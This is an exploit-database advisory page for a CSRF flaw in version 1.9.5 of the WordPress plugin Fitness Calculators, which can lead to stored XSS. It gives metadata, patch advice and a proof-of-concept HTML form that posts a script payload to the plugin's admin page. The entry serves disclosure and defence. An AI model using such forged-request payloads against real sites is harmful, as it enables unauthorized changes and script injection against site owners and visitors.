WordPress Plugin Fitness Calculators 1.9.5 - Cross-Site Request Forgery (CSRF)

vendor:

Fitness Calculators

by:

0xB9

4,3

CVSS

MEDIUM

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: Fitness Calculators

Affected Version From: 1.9.5

Affected Version To: 1.9.5

Patch Exists: YES

Related CWE: CVE-2021-24272

CPE: a:wordpress:fitness_calculators

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 10

2021

WordPress Plugin Fitness Calculators 1.9.5 – Cross-Site Request Forgery (CSRF)

The plugin add calculators for Water intake, BMI calculator, protein Intake, and Body Fat and was lacking CSRF check, allowing attackers to make logged in users perform unwanted actions, such as change the calculator headers. Due to the lack of sanitisation, this could also lead to a Stored Cross-Site Scripting issue.

Mitigation:

The vendor has released a patch to address this issue. Users should update to version 1.9.6 or later.

Source

Exploit-DB raw data:

# Exploit Title: WordPress Plugin Fitness Calculators 1.9.5 - Cross-Site Request Forgery (CSRF)
# Date: 2/28/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/fitness-calculators/
# Version: 1.9.5
# Tested on: Windows 10
# CVE: CVE-2021-24272

1. Description:
The plugin add calculators for Water intake, BMI calculator, protein Intake, and Body Fat and was lacking CSRF check, allowing attackers to make logged in users perform unwanted actions, such as change the calculator headers. 
Due to the lack of sanitisation, this could also lead to a Stored Cross-Site Scripting issue

2. Proof of Concept:

<form method="post" action="https://example.com/wp-admin/admin.php?page=fcp_dashboard&tab=water">
    <input type="text" value="<script>alert(1)</script>" name="fcw[fcw_heading]">
    <input type="submit" value="Save" name="submit">
</form>